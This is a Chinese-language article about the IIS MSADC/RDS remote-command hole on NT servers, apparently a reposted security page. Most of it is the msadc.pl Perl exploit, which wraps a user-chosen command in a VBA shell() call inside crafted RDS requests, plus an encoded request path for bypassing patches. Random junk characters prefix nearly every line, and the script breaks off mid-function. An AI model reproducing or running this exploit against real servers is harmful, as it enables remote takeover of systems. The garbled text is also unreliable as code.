IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
GlYly5F )najO*n 涉及程序:
Pe7e?79 Microsoft NT server
D@54QJ< J\co1kO9/ 描述:
n@>wwp 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$^% N U ETw]!
br 详细:
t%0?N<9YkU 如果你没有时间读详细内容的话,就删除:
I*)VZW c:\Program Files\Common Files\System\Msadc\msadcs.dll
>9K//co"of 有关的安全问题就没有了。
#;r]/)> 0&w0aP`Y 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
}p3b#fAr rzLd"` 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
gSi5u#}J 关于利用ODBC远程漏洞的描述,请参看:
HMQI&Lh=U ZW4aY}~)$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm mf$j03tu YcM;S 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
+&v\
/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0{rx.C7| h SV@TL 这里不再论述。
W
Ox_y, @|A| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
khX|"d360 #a~"K|'G /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
? Nj)6_& 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
F9o6V|v L:f)i,S"5q mV\$q@sII #将下面这段保存为txt文件,然后: "perl -x 文件名"
e-6w8*!i #6> 6S;Ib #!perl
&y.dmW #
a-0cN 9 # MSADC/RDS 'usage' (aka exploit) script
C8b''9t. #
?[1SiJT # by rain.forest.puppy
+oy*Kxs7 #
;Rnhe_A. # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)iE"Tl # beta test and find errors!
BSUPS+@+ T_hV%
use Socket; use Getopt::Std;
!C&%T] getopts("e:vd:h:XR", \%args);
Z5)eREi= R 1zC.m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7>.OVh< ! q6hC if (!defined $args{h} && !defined $args{R}) {
`lCuU~~ag print qq~
I0w%8bs Usage: msadc.pl -h <host> { -d <delay> -X -v }
U6j/BJT" -h <host> = host you want to scan (ip or domain)
^X1wI9V -d <seconds> = delay between calls, default 1 second
&d^=siL -X = dump Index Server path table, if available
%$X\" -v = verbose
Xa,&ef&q -e = external dictionary file for step 5
^X?D#\ Ie_I7YJ Or a -R will resume a command session
3:`XG2' *8A6Q9YT ~; exit;}
/^<en(0=P !D:k! $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,)#.a%EKA if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
zY
APf &5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
/6tcSg) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3'#%c>_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
8 njuDl if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
X#J6Umutm \ lr/;-zP if (!defined $args{R}){ $ret = &has_msadc;
__\P`S_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
rw u3Nb *o4%ul\3Y| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
A~71i& . "cmd /c ";
ZgYZwc&- $in=<STDIN>; chomp $in;
'D6
bmz $command="cmd /c " . $in ;
qo;)X0N ~[18q+, if (defined $args{R}) {&load; exit;}
8&(-8 4XG]z_+I print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
VXC4% &try_btcustmr;
%$n02"@ dr]&kqm print "\nStep 2: Trying to make our own DSN...";
&HF]\`RNr &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_}=E^/;( i^g~~h
F print "\nStep 3: Trying known DSNs...";
$I8[BYblB &known_dsn;
&9P<qU^N) a@W7<9fY; print "\nStep 4: Trying known .mdbs...";
OlGR<X &known_mdb;
r%-n*_?.s TA;,>f* if (defined $args{e}){
uBeNXOre print "\nStep 5: Trying dictionary of DSN names...";
ntH T &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
" i`8l.Lc >]/dOH,A print "Sorry Charley...maybe next time?\n";
P\(30 exit;
LknVqZ|k iZ Ta>@ ##############################################################################
%V_eJC""? mw+j|{[ sub sendraw { # ripped and modded from whisker
h$&rE@N| sleep($delay); # it's a DoS on the server! At least on mine...
FAtWsk*pgY my ($pstr)=@_;
\R Z3Hh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
y4<+- die("Socket problems\n");
qS]G&l6QF if(connect(S,pack "SnA4x8",2,80,$target)){
(#u{ U= select(S); $|=1;
,+-h7^{` print $pstr; my @in=<S>;
G8P+A1
f/> select(STDOUT); close(S);
SCq3Ds^ return @in;
/djACA } else { die("Can't connect...\n"); }}
7^wE$7hS cjY@Ot*i$ ##############################################################################
4A o{M ;1E_o sub make_header { # make the HTTP request
9[{sEg=C$e my $msadc=<<EOT
3^ ~Zj95M POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Czh8zB+r User-Agent: ACTIVEDATA
Mjw[:70 Host: $ip
{PmzkT}LF Content-Length: $clen
.0
X$rX= Connection: Keep-Alive
lC{L6&T 04\Ta ADCClientVersion:01.06
..$>7y} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
a7 )@BzF# R0IF' --!ADM!ROX!YOUR!WORLD!
?N_)>&b Content-Type: application/x-varg
T{HfP Content-Length: $reqlen
Oga1u ,\>g EOT
n)CH^WHL& ; $msadc=~s/\n/\r\n/g;
88YC0!Ni return $msadc;}
_LsYMUe BvJ\x) ##############################################################################
^ 0eO\wc?O ybYXD? sub make_req { # make the RDS request
-x?Hj/ my ($switch, $p1, $p2)=@_;
D(@SnI+ my $req=""; my $t1, $t2, $query, $dsn;
\E&th p Zh? V,39 if ($switch==1){ # this is the btcustmr.mdb query
.h6Y<
E $query="Select * from Customers where City=" . make_shell();
wRi~Yb? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
T>5wQYh$' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
lb95!.av+I )<Ob elsif ($switch==2){ # this is general make table query
|VYr=hjo $query="create table AZZ (B int, C varchar(10))";
I1v@\Rb $dsn="$p1";}
NYwGK| w(#:PsMo< elsif ($switch==3){ # this is general exploit table query
j]Ua\|t $query="select * from AZZ where C=" . make_shell();
]!-R<[b
6 $dsn="$p1";}
f~iML5lG 1O4D+0@ elsif ($switch==4){ # attempt to hork file info from index server
Vy r]
x $query="select path from scope()";
w'XSb.\)_m $dsn="Provider=MSIDXS;";}
vC-[#]< T7s+9CE elsif ($switch==5){ # bad query
2_I+mQ $query="select";
-G!6U2*# $dsn="$p1";}
`|JI\&z I*9Gb$]= $t1= make_unicode($query);
K"I{\/x@ $t2= make_unicode($dsn);
D/*vj| $req = "\x02\x00\x03\x00";
(I!1sE!?1 $req.= "\x08\x00" . pack ("S1", length($t1));
2X^iV09 $req.= "\x00\x00" . $t1 ;
fGo_NB $req.= "\x08\x00" . pack ("S1", length($t2));
kp.|gzA6 $req.= "\x00\x00" . $t2 ;
G\uU- z$) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
W
n6,U=$3 return $req;}
IY~
{)X $Uy#/MX ##############################################################################
H!#5!m& A` =]RJ sub make_shell { # this makes the shell() statement
4a1BGNI%SW return "'|shell(\"$command\")|'";}
v$Dh.y ^X$
I= ro ##############################################################################
T77)Np [e1\A&T sub make_unicode { # quick little function to convert to unicode
g\qX7nIH? my ($in)=@_; my $out;
jigbeHRy for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
y]MWd#U return $out;}
[ns&Y0Y`t ^Jn|*?+l ##############################################################################
<G&WYk%u* ~V!EtZG$ sub rdo_success { # checks for RDO return success (this is kludge)
L#[HnsLp_ my (@in) = @_; my $base=content_start(@in);
#'#4hJ*YC if($in[$base]=~/multipart\/mixed/){
Vj29L?3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[KD}U-(Wg return 0;}
g8Ok ^ A?\h|u< ##############################################################################
D`8E-Bq ;g6 nHek sub make_dsn { # this makes a DSN for us
V02309Y my @drives=("c","d","e","f");
&8zk3 print "\nMaking DSN: ";
/Ql6]8.P foreach $drive (@drives) {
BzN/6VEw print "$drive: ";
h!Z Z2[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}1l}- w`F "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
h)"'YzCt . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`Uu^I
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
So0`c,D return 0 if $2 eq "404"; # not found/doesn't exist
twAw01". if($2 eq "200") {
n}) foreach $line (@results) {
bn5"dxV return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"tpvENz2s } return 0;}
HW^{ ;'kH~ {c.}fyN ##############################################################################
F>p%2II/
7l[t9ON sub verify_exists {
,^Ex}Z my ($page)=@_;
gGF$M
` my @results=sendraw("GET $page HTTP/1.0\n\n");
RJQ/y3 return $results[0];}
9
Wxq) V=:,]fTr ##############################################################################
c"6Kd$?M M|5^':Y sub try_btcustmr {
}S
Y`KoC1 my @drives=("c","d","e","f");
Rh5@[cg% my @dirs=("winnt","winnt35","winnt351","win","windows");
#1gTpb+t e&r+w! foreach $dir (@dirs) {
fJ,8g/f8 print "$dir -> "; # fun status so you can see progress
Yk(NZ3O foreach $drive (@drives) {
+3(CGNE print "$drive: "; # ditto
w; yar=n $reqlen=length( make_req(1,$drive,$dir) ) - 28;
:==UDVP $reqlenlen=length( "$reqlen" );
(\5<GCW- $clen= 206 + $reqlenlen + $reqlen;
F o--PtY`p 2n<qAl$t my @results=sendraw(make_header() . make_req(1,$drive,$dir));
FZ;YvdX6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
&e5^v else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
oY|
(M_; T#ecLD# ##############################################################################
?)i6:76( 3?-V>-[G_ sub odbc_error {
C{lB/F/|! my (@in)=@_; my $base;
B{=,VwaP_ my $base = content_start(@in);
#)IdJ] if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
/jn:e"0~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9}7oKlyk $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oW` *FD $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~8S4Kj)% return $in[$base+4].$in[$base+5].$in[$base+6];}
@DjG?yLK$ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;1Tpzm print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
qX}dbuDE"P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
i1kh@s~8UC >xk:pL*o` ##############################################################################
m"ki*9] `0-m`> 1> sub verbose {
lS Kv* my ($in)=@_;
aG8;,H=%, return if !$verbose;
@idp8J [td print STDOUT "\n$in\n";}
pD)/-Dgdm Lt
ZWs0l0 ##############################################################################
`s]zk {x *HfW(C$ sub save {
$ET/0v"V my ($p1, $p2, $p3, $p4)=@_;
iz$v8;w open(OUT, ">rds.save") || print "Problem saving parameters...\n";
`OF g.R| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%E=,H?9&> close OUT;}
Y?q*hS0!H ~S~x@&yR ##############################################################################
q,19NZ }tg:DG sub load {
h3vm<R; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?PH}b?f4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
}][|]/s?42 @p=<IN>; close(IN);
&bRxy`ZH $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
0Ci"tA3" $target= inet_aton($ip) || die("inet_aton problems");
#h|,GvmF<b print "Resuming to $ip ...";
`qy6qKl
N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^?l-YnQqm? if($p[1]==1) {
4N^Qd3[d $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r5$?4t $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[n@!=T my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
?5+KHG*) if (rdo_success(@results)){print "Success!\n";}
7Q4PjcD else { print "failed\n"; verbose(odbc_error(@results));}}
6d?2{_} , elsif ($p[1]==3){
'V*M_o(\ if(run_query("$p[3]")){
F(kRAe; print "Success!\n";} else { print "failed\n"; }}
B7QtB3bn elsif ($p[1]==4){
0jx~_zq-j if(run_query($drvst . "$p[3]")){
R<